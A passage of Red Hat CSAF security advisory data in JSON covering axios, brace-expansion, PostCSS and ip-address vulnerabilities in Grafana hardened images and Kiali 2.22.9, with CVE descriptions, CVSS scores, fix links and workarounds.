          "summary": "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-http-2",
          "url": "https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-http-2"
        }
      ],
      "release_date": "2026-08-01T12:22:18.116000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-05T14:18:29+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:50826"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "axios: axios: Denial of Service due to maxBodyLength bypass in HTTP/2 requests"
    },
    {
      "cve": "CVE-2026-69152",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-08-03T18:01:13.566423+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510722"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the brace-expansion library. The `expand()` function does not apply `maxLength` when constructing comma-alternative intermediate arrays or padded sequences, allowing attacker-controlled input to exhaust memory or block the event loop, resulting in a denial of service. This issue is due to an incomplete mitigation of CVE-2026-14257.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Any applications that pass user-controlled input to the `expand()` function are vulnerable to this issue. This flaw can result in an excessive consumption of memory that eventually terminates the process or blocks the event loop, both causing a denial of service. As this vulnerability allows a remote attacker to cause a denial of service, it has been rated with an important severity.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-69152"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510722",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510722"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-69152",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69152"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69152"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
          "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
          "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
          "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
          "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031"
        },
        {
          "category": "external",
          "summary": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
          "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895"
        }
      ],
      "release_date": "2026-08-03T16:33:36.324000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-05T14:18:29+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:50826"
        },
        {
          "category": "workaround",
          "details": "To mitigate this vulnerability, do not pass untrusted input to the expand() function.",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation"
    },
    {
      "cve": "CVE-2026-69153",
      "cwe": {
        "id": "CWE-22",
        "name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
      },
      "discovery_date": "2026-08-03T18:01:01.506065+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510719"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the \u0027from\u0027 parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application\u0027s source code.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Red Hat rates this flaw as Moderate because the information disclosed is limited to files with a .map extension. Source map files may contain source code paths and content, but the attacker cannot read arbitrary files on the system. Exploitation requires the application to process attacker-controlled CSS through PostCSS on the server side.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-69153"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510719",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510719"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-69153",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69153"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153"
        },
        {
          "category": "external",
          "summary": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8",
          "url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
        },
        {
          "category": "external",
          "summary": "https://github.com/postcss/postcss/releases/tag/8.5.19",
          "url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
        },
        {
          "category": "external",
          "summary": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp",
          "url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
        }
      ],
      "release_date": "2026-08-03T16:56:25.733000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-05T14:18:29+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:50826"
        },
        {
          "category": "workaround",
          "details": "Pass map: false when invoking PostCSS to disable source map auto-loading. This prevents the path traversal from being triggered, though it removes source map support entirely.",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL"
    },
    {
      "cve": "CVE-2026-69192",
      "cwe": {
        "id": "CWE-1389",
        "name": "Incorrect Parsing of Numbers with Different Radices"
      },
      "discovery_date": "2026-08-03T21:02:17.374935+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510801"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the `ip-address` library. This library incorrectly interprets IPv4 address octets with leading zeros as decimal, while standard network parsers interpret them as octal. This inconsistency can cause applications to misclassify network targets, allowing a remote attacker to bypass security measures like Server-Side Request Forgery (SSRF) filters and potentially gain unauthorized access to internal systems.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "ip-address: ip-address: Inconsistent IP address parsing leads to Server-Side Request Forgery (SSRF) and trust-boundary bypass",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This Important flaw in the `ip-address` JavaScript library can lead to Server-Side Request Forgery (SSRF) and trust-boundary bypass. The library\u0027s inconsistent parsing of IP address octets with leading zeros, which it interprets as decimal while the network stack interprets them as octal, can cause applications to misclassify internal IP addresses as external. This discrepancy can bypass security filters designed to prevent access to internal resources.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-69192"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510801",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510801"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-69192",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69192"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69192",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69192"
        },
        {
          "category": "external",
          "summary": "https://github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e",
          "url": "https://github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e"
        },
        {
          "category": "external",
          "summary": "https://github.com/beaugunderson/ip-address/releases/tag/v10.3.1",
          "url": "https://github.com/beaugunderson/ip-address/releases/tag/v10.3.1"
        },
        {
          "category": "external",
          "summary": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr",
          "url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr"
        }
      ],
      "release_date": "2026-08-03T19:56:13.640000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-05T14:18:29+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:50826"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "ip-address: ip-address: Inconsistent IP address parsing leads to Server-Side Request Forgery (SSRF) and trust-boundary bypass"
    },
    {
      "cve": "CVE-2026-69198",
      "cwe": {
        "id": "CWE-1389",
        "name": "Incorrect Parsing of Numbers with Different Radices"
      },
      "discovery_date": "2026-08-03T21:02:27.972296+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510803"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in ip-address, a JavaScript library for parsing and manipulating IP addresses. By appending a Classless Inter-Domain Routing (CIDR) suffix to an IP address, an attacker can bypass the library\u0027s special-use classification methods. This misclassification can lead applications, such as those designed to prevent Server-Side Request Forgery (SSRF), to incorrectly treat internal network targets as external. Consequently, an attacker may be able to access internal resources or bypass other network trust-boundary checks.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "ip-address: ip-address: Server-Side Request Forgery (SSRF) and trust-boundary bypass",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Red Hat products that ship the affected ip-address library versions use it in browser-side UI components for IP address display and form validation, not for server-side request filtering or SSRF protection. The classification bypass has no security-relevant effect in this context because no trust-boundary decisions are built on these client-side checks.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-69198"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510803",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510803"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-69198",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69198"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69198",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69198"
        },
        {
          "category": "external",
          "summary": "https://github.com/beaugunderson/ip-address/commit/488fe9bc7c35363b4b090494fc38c266d217740d",
          "url": "https://github.com/beaugunderson/ip-address/commit/488fe9bc7c35363b4b090494fc38c266d217740d"
        },
        {
          "category": "external",
          "summary": "https://github.com/beaugunderson/ip-address/releases/tag/v10.2.2",
          "url": "https://github.com/beaugunderson/ip-address/releases/tag/v10.2.2"
        },
        {
          "category": "external",
          "summary": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-4xrf-jv44-h6hh",
          "url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-4xrf-jv44-h6hh"
        }
      ],
      "release_date": "2026-08-03T19:59:05.731000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-05T14:18:29+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:50826"
        },
        {
          "category": "workaround",
          "details": "Validate and sanitize CIDR suffixes on IP address input before passing them to the ip-address library. Reject any user-supplied address where the prefix length is outside the valid range for the address family (0-32 for IPv4, 0-128 for IPv6) or where the prefix length contradicts the intended classification check. Applications that rely on ip-address for SSRF filtering should add an independent server-side check that does not depend on the library\u0027s classification methods.",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "ip-address: ip-address: Server-Side Request Forgery (SSRF) and trust-boundary bypass"
    }
  ]
}

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Important"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "Kiali 2.22.9 for Red Hat OpenShift Service Mesh 3.3 is now available.\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "Kiali 2.22.9, for Red Hat OpenShift Service Mesh 3.3, provides observability for the service mesh by offering a visual representation of the mesh topology and metrics, helping users monitor, trace, and manage efficiently.\n\nSecurity Fix(es):\n\n* CVE-2026-45623 openshift-service-mesh/kiali-rhel9: PostCSS: Information disclosure and denial of service via crafted CSS input (OSSM-15109)\n* CVE-2026-45623 openshift-service-mesh/kiali-ossmc-rhel9: PostCSS: Information disclosure and denial of service via crafted CSS input (OSSM-15114)\n* CVE-2026-54272 openshift-service-mesh/kiali-ossmc-rhel9: ip-address: Server-Side Request Forgery via IPv4-mapped/NAT64 IPv6 address misclassification (OSSM-15122)\n* CVE-2026-54272 openshift-service-mesh/kiali-rhel9: ip-address: Server-Side Request Forgery via IPv4-mapped/NAT64 IPv6 address misclassification (OSSM-15123)\n* CVE-2026-69153 openshift-service-mesh/kiali-rhel9: PostCSS: Information disclosure via crafted sourceMappingURL (OSSM-15159)\n* CVE-2026-69153 openshift-service-mesh/kiali-ossmc-rhel9: PostCSS: Information disclosure via crafted sourceMappingURL (OSSM-15165)\n* CVE-2026-69152 openshift-service-mesh/kiali-rhel9: brace-expansion: Denial of Service via unbounded intermediate arrays (OSSM-15175)\n* CVE-2026-69152 openshift-service-mesh/kiali-ossmc-rhel9: brace-expansion: Denial of Service via unbounded intermediate arrays (OSSM-15176)\n* CVE-2026-69192 openshift-service-mesh/kiali-ossmc-rhel9: ip-address: Inconsistent IP address parsing leads to Server-Side Request Forgery (SSRF) and trust-boundary bypass (OSSM-15186)\n* CVE-2026-69192 openshift-service-mesh/kiali-rhel9: ip-address: Inconsistent IP address parsing leads to Server-Side Request Forgery (SSRF) and trust-boundary bypass (OSSM-15187)\n* CVE-2026-14257 openshift-service-mesh/kiali-ossmc-rhel9: Brace-expansion: Denial of Service via memory exhaustion in expand() function (OSSM-15195)\n* CVE-2026-45149 openshift-service-mesh/kiali-ossmc-rhel9: brace-expansion: Denial of Service due to excessive memory allocation when expanding large numeric ranges (OSSM-15263)\n* CVE-2026-45149 openshift-service-mesh/kiali-rhel9: brace-expansion: Denial of Service due to excessive memory allocation when expanding large numeric ranges (OSSM-15265)\n* CVE-2026-73088 openshift-service-mesh/kiali-ossmc-rhel9: Browserslist: Prototype pollution leading to denial of service (OSSM-15283)\n* CVE-2026-73088 openshift-service-mesh/kiali-rhel9: Browserslist: Prototype pollution leading to denial of service (OSSM-15284)\n* CVE-2026-73089 openshift-service-mesh/kiali-ossmc-rhel9: Browserslist: Denial of Service via unbounded memory growth from distinct query results (OSSM-15297)\n* CVE-2026-73089 openshift-service-mesh/kiali-rhel9: Browserslist: Denial of Service via unbounded memory growth from distinct query results (OSSM-15298)\n* CVE-2026-56852 openshift-service-mesh/kiali-rhel9: golang.org/x/text: Denial of Service via invalid UTF-8 input (OSSM-15322)\n* CVE-2026-56860 openshift-service-mesh/kiali-rhel9: golang net/url: Denial of Service from quadratic complexity in path resolution (OSSM-15403)\n* CVE-2026-56859 openshift-service-mesh/kiali-rhel9: Go: Denial of Service via XML decoding recursion depth issue (OSSM-15408)\n* CVE-2026-56853 openshift-service-mesh/kiali-rhel9: Go net/http: Unencrypted HTTP/2 connections vulnerable to Denial of Service (OSSM-15422)\n* CVE-2026-56858 openshift-service-mesh/kiali-rhel9: Go html/template: Cross-Site Scripting via pathological input (OSSM-15436)\n* CVE-2026-56862 openshift-service-mesh/kiali-rhel9: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages (OSSM-15446)\n* CVE-2026-33818 openshift-service-mesh/kiali-rhel9: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal (OSSM-15456)\n* CVE-2026-67321 openshift-service-mesh/kiali-ossmc-rhel9: axios: Denial of Service via object serialization bypass (OSSM-15470)\n* CVE-2026-67321 openshift-service-mesh/kiali-rhel9: axios: Denial of Service via object serialization bypass (OSSM-15471)\n* CVE-2026-67313 openshift-service-mesh/kiali-ossmc-rhel9: axios: Denial of Service via uncontrolled recursion in formDataToJSON (OSSM-15480)\n* CVE-2026-67313 openshift-service-mesh/kiali-rhel9: axios: Denial of Service via uncontrolled recursion in formDataToJSON (OSSM-15481)\n* CVE-2026-67320 openshift-service-mesh/kiali-ossmc-rhel9: axios: Information disclosure via Prototype Pollution in Node HTTP adapter (OSSM-15490)\n* CVE-2026-67320 openshift-service-mesh/kiali-rhel9: axios: Information disclosure via Prototype Pollution in Node HTTP adapter (OSSM-15492)\n* CVE-2026-67314 openshift-service-mesh/kiali-ossmc-rhel9: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth (OSSM-15494)\n* CVE-2026-67314 openshift-service-mesh/kiali-rhel9: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth (OSSM-15495)\n\nBug Fix(es):\n\n* OSSM-15237 [OSSMC] v2.22 JS Error on first Overview access (ToolbarFilter firstElementChild)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHSA-2026:59566",
        "url": "https://access.redhat.com/errata/RHSA-2026:59566"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-14257",
        "url": "https://access.redhat.com/security/cve/CVE-2026-14257"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-33818",
        "url": "https://access.redhat.com/security/cve/CVE-2026-33818"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-45149",
        "url": "https://access.redhat.com/security/cve/CVE-2026-45149"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-45623",
        "url": "https://access.redhat.com/security/cve/CVE-2026-45623"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-54272",
        "url": "https://access.redhat.com/security/cve/CVE-2026-54272"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-56852",
        "url": "https://access.redhat.com/security/cve/CVE-2026-56852"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-56853",
        "url": "https://access.redhat.com/security/cve/CVE-2026-56853"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-56858",
        "url": "https://access.redhat.com/security/cve/CVE-2026-56858"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-56859",
        "url": "https://access.redhat.com/security/cve/CVE-2026-56859"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-56860",
        "url": "https://access.redhat.com/security/cve/CVE-2026-56860"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-56862",
        "url": "https://access.redhat.com/security/cve/CVE-2026-56862"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67313",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67313"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67314",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67314"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67320",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67320"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-67321",
        "url": "https://access.redhat.com/security/cve/CVE-2026-67321"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-69152",
        "url": "https://access.redhat.com/security/cve/CVE-2026-69152"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-69153",
        "url": "https://access.redhat.com/security/cve/CVE-2026-69153"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-69192",
        "url": "https://access.redhat.com/security/cve/CVE-2026-69192"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-73088",
        "url": "https://access.redhat.com/security/cve/CVE-2026-73088"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-73089",
